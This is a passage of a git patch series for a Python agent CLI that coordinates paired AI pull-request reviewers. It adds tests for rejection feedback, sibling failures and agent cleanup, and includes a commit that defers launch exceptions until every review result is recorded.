"rejected_new_round" and key != "reviewer_approved" ) - assert reject_idx + 1 < len(calls), ( + # Round 46: the sibling PR-gate dimension is always fully recorded too + # (no more abandon/discard), so it shows up immediately after the + # rejection in the SAME batch, with the SAME pre-attempt (stale) head + # both dimensions were prepared with -- that's expected, not a bug. + # Skip past any adjacent same-batch PR-gate entries to find the first + # call that belongs to a genuinely new round. + pr_gate_keys = { + "grok_pr_quality", "grok_pr_logic", "codex_pr_quality", "codex_pr_logic", + } + next_idx = reject_idx + 1 + while next_idx < len(calls) and calls[next_idx][2] in pr_gate_keys: + next_idx += 1 + assert next_idx < len(calls), ( "expected a further execute_spine_step call after the PR-gate rejection" ) - next_head, _next_kind, _next_key = calls[reject_idx + 1] + next_head, _next_kind, _next_key = calls[next_idx] assert next_head is None, ( "head must be None on the first execute_spine_step call after a " f"PR-gate rejection; got {next_head!r} (stale rehydration bug)" @@ -2725,3 +2738,808 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert max(e[3] for e in enters) < min(e[3] for e in exits), ( f"{vendor}: launches did not overlap: {vendor_events}" ) + + +def _patch_pr_pair_order( + monkeypatch: pytest.MonkeyPatch, *, reverse: bool +) -> None: + """Optionally reverse ready pair order (quality↔logic) for order-independence.""" + if not reverse: + return + import agent_cli.fixer_act as fixer_mod + + real = fixer_mod._ready_pr_dimension_pair + + def reversed_pair(ready): # type: ignore[no-untyped-def] + pair = real(ready) + return None if pair is None else list(reversed(pair)) + + monkeypatch.setattr("agent_cli.fixer_act._ready_pr_dimension_pair", reversed_pair) + + +def _pr_pair_rtc(pushed_sha: str): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, pushed_sha + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + return fake_rtc + + +@pytest.mark.parametrize( + "reverse_pair,reject_role,unavailable_role", + [ + (False, "pr-reviewer-quality", "pr-reviewer-logic"), + (True, "pr-reviewer-quality", "pr-reviewer-logic"), + (False, "pr-reviewer-logic", "pr-reviewer-quality"), + (True, "pr-reviewer-logic", "pr-reviewer-quality"), + ], + ids=[ + "quality-first-quality-rejects", + "logic-first-quality-rejects", + "quality-first-logic-rejects", + "logic-first-logic-rejects", + ], +) +def test_parallel_pr_pair_rejection_feedback_survives_sibling_unavailable( + tmp_path: Path, + capsys: pytest.CaptureFixture[str], + monkeypatch: pytest.MonkeyPatch, + reverse_pair: bool, + reject_role: str, + unavailable_role: str, +) -> None: + """Reject + vendor_unavailable must keep rejection findings in .spec.md + regardless of pair order and which dimension rejected. + + cont=True from the rejection wins over the sibling's message-bearing + unavailable outcome, so the driver continues rather than returning the + unavailable message; findings are written once from the aggregated batch. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + _patch_pr_pair_order(monkeypatch, reverse=reverse_pair) + + pushed_sha = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + findings_marker = "fix the retry loop specifically" + # First PR-pair attempt only: reject once / unavailable once, then pass. + reject_done = {"n": 0} + unavailable_done = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if ( + role == reject_role + and vendor == "grok" + and reject_done["n"] == 0 + ): + reject_done["n"] += 1 + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {findings_marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_build(store, tid_, *, role, round_num, implement_spec_file, cwd, exec_argv): # type: ignore[no-untyped-def] + if role == unavailable_role and unavailable_done["n"] == 0: + unavailable_done["n"] += 1 + raise ReviewDiffUnavailableError( + f"simulated {unavailable_role} unavailable" + ) + return build_review_spec_file( + store, + tid_, + role=role, + round_num=round_num, + implement_spec_file=implement_spec_file, + cwd=cwd, + exec_argv=exec_argv, + ) + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.run_core.build_review_spec_file", fake_build) + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", _pr_pair_rtc(pushed_sha) + ) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert reject_done["n"] == 1 + assert unavailable_done["n"] == 1 + spec_text = (tmp_path / "error-fix-specs" / tid / ".spec.md").read_text( + encoding="utf-8" + ) + assert "# Prior Rejection Feedback" in spec_text + assert findings_marker in spec_text + reject_key = ( + "grok_pr_quality" + if reject_role == "pr-reviewer-quality" + else "grok_pr_logic" + ) + assert f"## {reject_key}" in spec_text + + +@pytest.mark.parametrize( + "reverse_pair", + [False, True], + ids=["quality-first", "logic-first"], +) +def test_parallel_pr_pair_both_reject_combines_findings( + tmp_path: Path, + capsys: pytest.CaptureFixture[str], + monkeypatch: pytest.MonkeyPatch, + reverse_pair: bool, +) -> None: + """Both dimensions rejecting must write both findings into one .spec.md.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + _patch_pr_pair_order(monkeypatch, reverse=reverse_pair) + + pushed_sha = "dddddddddddddddddddddddddddddddddddddddd" + quality_marker = "QUALITY_FINDING_marker_alpha" + logic_marker = "LOGIC_FINDING_marker_beta" + pair_attempts = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if vendor == "grok" and role in ( + "pr-reviewer-quality", + "pr-reviewer-logic", + ): + # Reject only on the first grok PR-pair wave; later waves pass. + if pair_attempts["n"] < 2: + pair_attempts["n"] += 1 + marker = ( + quality_marker + if role == "pr-reviewer-quality" + else logic_marker + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", _pr_pair_rtc(pushed_sha) + ) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + spec_text = (tmp_path / "error-fix-specs" / tid / ".spec.md").read_text( + encoding="utf-8" + ) + assert "# Prior Rejection Feedback" in spec_text + assert quality_marker in spec_text + assert logic_marker in spec_text + assert "## grok_pr_quality" in spec_text + assert "## grok_pr_logic" in spec_text + + +@pytest.mark.parametrize( + "reverse_pair,reject_role", + [ + (False, "pr-reviewer-quality"), + (True, "pr-reviewer-quality"), + (False, "pr-reviewer-logic"), + (True, "pr-reviewer-logic"), + ], + ids=[ + "quality-first-quality-rejects", + "logic-first-quality-rejects", + "quality-first-logic-rejects", + "logic-first-logic-rejects", + ], +) +def test_parallel_pr_pair_reject_plus_pass_records_both( + tmp_path: Path, + capsys: pytest.CaptureFixture[str], + monkeypatch: pytest.MonkeyPatch, + reverse_pair: bool, + reject_role: str, +) -> None: + """Reject + clean pass: findings reach .spec.md and the pass gate row exists. + + Also asserts the rejection forces head invalidation (pushed reset) even + when the pass is processed after the reject in pair order. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + _patch_pr_pair_order(monkeypatch, reverse=reverse_pair) + + pushed_sha = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" + findings_marker = "REJECT_PLUS_PASS_marker" + pass_role = ( + "pr-reviewer-logic" + if reject_role == "pr-reviewer-quality" + else "pr-reviewer-quality" + ) + pass_dim = "logic" if pass_role.endswith("logic") else "quality" + reject_once = {"done": False} + saw_reject_batch = {"done": False} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if ( + role == reject_role + and vendor == "grok" + and not reject_once["done"] + ): + reject_once["done"] = True + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {findings_marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + import agent_cli.fixer_act as fixer_mod + + real_aggregate = fixer_mod._aggregate_drive_outcomes + + def wrapping_aggregate(store, tid_, outcomes, **kwargs): # type: ignore[no-untyped-def] + msg, head, cont = real_aggregate(store, tid_, outcomes, **kwargs) + kinds = {o.kind for o in outcomes} + # The passing sibling is processed sequentially after the rejecting + # one within the same batch, so by the time its own close_allowed + # check runs, the reject has already reset the checklist -- its + # close is correctly refused (not_closable), not agent_closed. The + # gate row is still recorded regardless (checked separately below). + if "rejected_new_round" in kinds and ( + "agent_closed" in kinds or "not_closable" in kinds + ): + saw_reject_batch["done"] = True + # Rejection must win on head regardless of pass order. + assert head is None + assert cont is True + pushed = next( + ( + str(r.get("status") or "") + for r in store.rows("checklist_item") + if r.get("task_id") == tid_ and r.get("key") == "pushed" + ), + "", + ) + assert pushed != "ja" + return msg, head, cont + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", _pr_pair_rtc(pushed_sha) + ) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + monkeypatch.setattr( + "agent_cli.fixer_act._aggregate_drive_outcomes", wrapping_aggregate + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert saw_reject_batch["done"] + spec_text = (tmp_path / "error-fix-specs" / tid / ".spec.md").read_text( + encoding="utf-8" + ) + assert "# Prior Rejection Feedback" in spec_text + assert findings_marker in spec_text + # Exactly one rejection section heading for the rejecting dimension. + reject_key = ( + "grok_pr_quality" + if reject_role == "pr-reviewer-quality" + else "grok_pr_logic" + ) + assert spec_text.count(f"## {reject_key}") == 1 + pass_key = ( + "grok_pr_logic" if pass_role == "pr-reviewer-logic" else "grok_pr_quality" + ) + # Pass dimension contributes no rejection section. + assert f"## {pass_key}" not in spec_text.split("# Prior Rejection Feedback", 1)[ + 1 + ].split("\n# Constraints\n", 1)[0] + + gates = _gates(tmp_path, tid) + approved_pass = [ + g + for g in gates + if g.get("stage") == "grok-pr" + and g.get("dimension") == pass_dim + and g.get("verdict") == "approved" + ] + assert approved_pass, f"expected approved gate for {pass_dim}, got {gates}" + + +def test_parallel_pr_pair_launch_oserror_releases_sibling_agent( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """OSError on one dimension's launch must not leave the sibling agent working. + + Quality (earlier in pair order) raises OSError from launch while logic's + launch already completed successfully. Without the pair-wide cleanup sweep, + finish would release only the OSError dimension and orphan logic's working + row; the sweep must terminalize both. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + launched: list[str] = [] + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + launched.append(f"{vendor}:{role}") + if role == "pr-reviewer-quality" and vendor == "grok": + raise OSError("No such file or directory: 'grok'") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, pushed_sha + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert "vendor-cli-unavailable" in result + assert "grok:pr-reviewer-quality" in launched + assert "grok:pr-reviewer-logic" in launched + agents = _agents(tmp_path, tid) + pr_agents = [ + a + for a in agents + if a.get("role") in ("pr-reviewer-quality", "pr-reviewer-logic") + and a.get("vendor") == "grok" + ] + assert len(pr_agents) >= 2, f"expected both grok PR agent rows, got {pr_agents}" + assert not any(a.get("status") == "working" for a in pr_agents), pr_agents + + +def test_parallel_pr_pair_prepare_exception_releases_first_agent( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Exception on the second prepare must not leave the first dimension working.""" + import agent_cli.fixer_act as fixer_mod + + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "cccccccccccccccccccccccccccccccccccccccc" + real_prepare = fixer_mod.prepare_spine_agent_step + prepare_calls = {"n": 0} + + def fake_prepare(store, tid_, step, **kwargs): # type: ignore[no-untyped-def] + prepare_calls["n"] += 1 + # Only the parallel-pair path binds prepare via fixer_act; raise on + # the second dimension of that pair (quality then logic). + if prepare_calls["n"] >= 2: + raise RuntimeError("boom during second prepare") + return real_prepare(store, tid_, step, **kwargs) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, pushed_sha + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + monkeypatch.setattr("agent_cli.fixer_act.prepare_spine_agent_step", fake_prepare) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + with pytest.raises(RuntimeError, match="boom during second prepare"): + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert prepare_calls["n"] >= 2 + agents = _agents(tmp_path, tid) + assert not any(a.get("status") == "working" for a in agents), agents + + +@pytest.mark.parametrize( + "reverse_pair,fail_role,reject_role", + [ + (False, "pr-reviewer-quality", "pr-reviewer-logic"), + (True, "pr-reviewer-quality", "pr-reviewer-logic"), + (False, "pr-reviewer-logic", "pr-reviewer-quality"), + (True, "pr-reviewer-logic", "pr-reviewer-quality"), + ], + ids=[ + "quality-first-quality-fails", + "logic-first-quality-fails", + "quality-first-logic-fails", + "logic-first-logic-fails", + ], +) +def test_parallel_pr_pair_failed_plus_reject_keeps_failed_and_skips_round_start( + tmp_path: Path, + capsys: pytest.CaptureFixture[str], + monkeypatch: pytest.MonkeyPatch, + reverse_pair: bool, + fail_role: str, + reject_role: str, +) -> None: + """Lane-retry fail + sibling reject must keep state=failed and not round-start. + + A failed dimension (two unparseable STATUS: complete bodies, no FINDINGS:) + paired with a parseable rejection must not be resurrected by the sibling's + deferred ``_round_start``, and the aggregator's cont=True from the reject + must not hide the failed message. A second scan must not re-select the task. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + _patch_pr_pair_order(monkeypatch, reverse=reverse_pair) + + pushed_sha = "ffffffffffffffffffffffffffffffffffffffff" + findings_marker = "FAILED_PLUS_REJECT_marker" + fail_launches = {"n": 0} + + store = _store(tmp_path) + try: + task_before = store.row("task", tid) + assert task_before is not None + round_before = int(task_before.get("current_round") or 0) + rounds_before = [ + r for r in store.rows("task_round") if r.get("task_id") == tid + ] + finally: + store.close() + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if role == fail_role and vendor == "grok": + fail_launches["n"] += 1 + # No FINDINGS: header → unparseable → retry; second attempt fails task. + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\n", + stderr="", + ) + if role == reject_role and vendor == "grok": + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {findings_marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", _pr_pair_rtc(pushed_sha) + ) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + task_after = store.row("task", tid) + assert task_after is not None + rounds_after = [ + r for r in store.rows("task_round") if r.get("task_id") == tid + ] + finally: + store.close() + + assert fail_launches["n"] == 2 # initial + one retry + assert _task_state(tmp_path, tid) == "failed" + assert int(task_after.get("current_round") or 0) == round_before + assert len(rounds_after) == len(rounds_before) + assert "failed" in result + assert "lane retry exhausted" in result + assert "scan-error" not in result + assert "SystemExit" not in result + + agents_after_first = len(_agents(tmp_path, tid)) + store = _store(tmp_path) + try: + lines2 = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert _task_state(tmp_path, tid) == "failed" + assert all(tid not in line for line in lines2) + assert len(_agents(tmp_path, tid)) == agents_after_first + + +def test_parallel_pr_pair_reject_then_sibling_oserror_still_round_starts( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Reject that commits a checklist reset must still round-start if the + sibling dimension then raises OSError mid-batch. + + Quality (earlier in pair order) rejects with real findings so + ``_apply_rejection_resets`` writes the checklist reset with + ``defer_round_start=True``. Logic's launch raises OSError afterward. + The except path must release working agents, then best-effort call + ``_round_start`` so the reset is paired with a new ``task_round`` row, + while still letting the original OSError surface as vendor-cli-unavailable. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "1212121212121212121212121212121212121212" + findings_marker = "REJECT_THEN_OSERROR_marker" + + store = _store(tmp_path) + try: + task_before = store.row("task", tid) + assert task_before is not None + round_before = int(task_before.get("current_round") or 0) + rounds_before = [ + r for r in store.rows("task_round") if r.get("task_id") == tid + ] + finally: + store.close() + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if role == "pr-reviewer-logic" and vendor == "grok": + raise OSError("No such file or directory: 'grok'") + if role == "pr-reviewer-quality" and vendor == "grok": + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {findings_marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", _pr_pair_rtc(pushed_sha) + ) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + task_after = store.row("task", tid) + assert task_after is not None + rounds_after = [ + r for r in store.rows("task_round") if r.get("task_id") == tid + ] + finally: + store.close() + + assert "vendor-cli-unavailable" in result + assert "OSError" in result + # Original OSError must win; round_start recovery must not mask it. + assert "scan-error" not in result + assert int(task_after.get("current_round") or 0) == round_before + 1 + assert len(rounds_after) == len(rounds_before) + 1 + assert _task_state(tmp_path, tid) == "implementing" + agents = _agents(tmp_path, tid) + assert not any(a.get("status") == "working" for a in agents), agents From 88239803e361eb53daa4ac5df93adcadd6696506 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 23:38:28 -0300 Subject: [PATCH 24/47] Finish recording every dimension before a launch-phase exception propagates. A launch-phase exception on one PR-review dimension made the finish loop raise immediately, before a later dimension's already-successful result (sitting ready in launch_results, since both launch concurrently before either result is processed) ever reached complete_spine_agent_step -- silently dropping a real, already-obtained review, and separately losing rejection feedback that had already been committed when the exception hit the other dimension mid-batch. The finish loop now records every genuinely available result first and defers the exception until after; the rejection-feedback write these two paths both needed is now one shared helper instead of only living in the normal-return aggregator. Also: `unavailable` (the neutral vendor-CLI-release verdict, used across roughly a dozen call sites already) documented in both the review-loop and pr-review skill docs and the CLI's own error messages, which only listed the other verdicts; and three parameters an earlier refactor left on _apply_drive_outcome without ever reading them. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 112 +++++++++++++++------- src/agent_cli/main.py | 6 +- src/agent_cli/skills/pr-review/SKILL.md | 3 + src/agent_cli/skills/review-loop/SKILL.md | 3 + tests/test_fixer_act.py | 15 +++ 5 files changed, 103 insertions(+), 36 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index fab9348..1729b39 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -544,9 +544,6 @@ def _apply_drive_outcome( outcome: RunOutcome, *, head: str | None, - error_id: str, - repo: str, - session_id: str, brief: str, ) -> tuple[str | None, str | None, bool]: """Map one RunOutcome to (return_message | None, updated_head, should_continue). @@ -640,6 +637,40 @@ def _combine_rejection_feedback(sections: list[tuple[str, str]]) -> str: return "\n\n".join(parts) +def _write_rejection_feedback( + store: Store, + tid: str, + outcomes: list[RunOutcome], + *, + error_id: str, + repo: str, + session_id: str, +) -> None: + """Combine every rejected_new_round outcome's findings and persist once, if any. + + Shared by ``_aggregate_drive_outcomes`` (normal-return batch aggregation) and + ``_drive_parallel_pr_pair``'s exception path (so rejection feedback already + recorded before a launch-phase exception still reaches ``.spec.md``). + """ + rejection_sections: list[tuple[str, str]] = [] + for outcome in outcomes: + if outcome.kind != "rejected_new_round": + continue + findings = outcome.rejection_findings + if not findings: + continue + rejection_sections.append((outcome.key or "rejection", findings)) + if rejection_sections and error_id and repo: + write_error_fix_spec( + store, + tid, + error_id=error_id, + session_id=session_id, + repo=repo, + rejection_feedback=_combine_rejection_feedback(rejection_sections), + ) + + def _batch_should_round_start(outcomes: list[RunOutcome]) -> bool: """True when a deferred round-start is owed and no outcome failed the task. @@ -670,23 +701,14 @@ def _aggregate_drive_outcomes( otherwise the most actionable terminal message is returned. A PR-gate rejection in the batch forces ``head=None`` regardless of processing order. """ - rejection_sections: list[tuple[str, str]] = [] - for outcome in outcomes: - if outcome.kind != "rejected_new_round": - continue - findings = outcome.rejection_findings - if not findings: - continue - rejection_sections.append((outcome.key or "rejection", findings)) - if rejection_sections and error_id and repo: - write_error_fix_spec( - store, - tid, - error_id=error_id, - session_id=session_id, - repo=repo, - rejection_feedback=_combine_rejection_feedback(rejection_sections), - ) + _write_rejection_feedback( + store, + tid, + outcomes, + error_id=error_id, + repo=repo, + session_id=session_id, + ) any_cont = False force_head_none = False @@ -698,9 +720,6 @@ def _aggregate_drive_outcomes( tid, outcome, head=current_head, - error_id=error_id, - repo=repo, - session_id=session_id, brief=brief, ) if ( @@ -771,6 +790,9 @@ def _drive_parallel_pr_pair( runner: Runner, lane_runner: LaneRunner | None, round_cap: int, + error_id: str, + repo: str, + session_id: str, ) -> list[RunOutcome]: """Prepare both dimensions on this thread, launch concurrently, finish here. @@ -779,14 +801,17 @@ def _drive_parallel_pr_pair( threading.RLock. Outcomes are always returned in ``pair`` order. Every dimension that - launched is always fully finished (gate / checklist / agent row) via - ``complete_spine_agent_step``; there is no abandon/discard path. Task-level - continue-vs-message and the combined rejection-feedback write are decided - later by the caller across the whole batch. On any unhandled exception, - still-working agent rows for either dimension are released before re-raising; - if an earlier dimension already committed a rejection reset that still - needs a round-start (and no outcome failed the task), that round-start - runs best-effort before the original exception propagates. + yields a genuine ``LaneResult`` is finished (gate / checklist / agent row) + via ``complete_spine_agent_step`` before any deferred launch exception is + raised; there is no abandon/discard path for successful siblings. Task-level + continue-vs-message is decided later by the caller across the whole batch; + the combined rejection-feedback write is done by the caller on the normal + path, and best-effort here on the exception path so findings already + collected are not lost. On any unhandled exception, still-working agent + rows for either dimension are released before re-raising; if an earlier + dimension already committed a rejection reset that still needs a + round-start (and no outcome failed the task), that round-start runs + best-effort before the original exception propagates. """ from . import main as main_mod @@ -836,6 +861,7 @@ def _drive_parallel_pr_pair( except BaseException as exc: # noqa: BLE001 — surface to caller launch_results[plan.step.key] = exc + pending_exception: BaseException | None = None for item in prepared: if isinstance(item, RunOutcome): outcomes.append(item) @@ -859,9 +885,13 @@ def _drive_parallel_pr_pair( "unavailable", note=f"launch failed ({plan.role} {plan.vendor})", ) - raise payload + if pending_exception is None: + pending_exception = payload + continue if isinstance(payload, BaseException): - raise payload + if pending_exception is None: + pending_exception = payload + continue outcome = complete_spine_agent_step( store, tid, @@ -874,6 +904,8 @@ def _drive_parallel_pr_pair( defer_round_start=True, ) outcomes.append(outcome) + if pending_exception is not None: + raise pending_exception if _batch_should_round_start(outcomes): _round_start(tid) return outcomes @@ -884,6 +916,17 @@ def _drive_parallel_pr_pair( pair, note="parallel PR-dimension pair aborted", ) + try: + _write_rejection_feedback( + store, + tid, + outcomes, + error_id=error_id, + repo=repo, + session_id=session_id, + ) + except (Exception, SystemExit): + pass # Best-effort: keep a committed rejection reset consistent with a new # task_round. Never let round_start's failure mask the original # exception (e.g. OSError → vendor-cli-unavailable in _drive_one). @@ -1083,6 +1126,9 @@ def _drive_one( runner=runner, lane_runner=lane_runner, round_cap=round_cap, + error_id=error_id, + repo=repo, + session_id=session_id, ) except OSError as exc: return ( diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 8857ae4..4b8e3e1 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -966,7 +966,7 @@ def cmd_agent(args: list[str]) -> None: if role == "implementer": # unavailable already handled by the early return above. if verdict not in ("done", "blocked"): - die("implementer verdict must be done|blocked") + die("implementer verdict must be done|blocked|unavailable") if agent.get("round") != 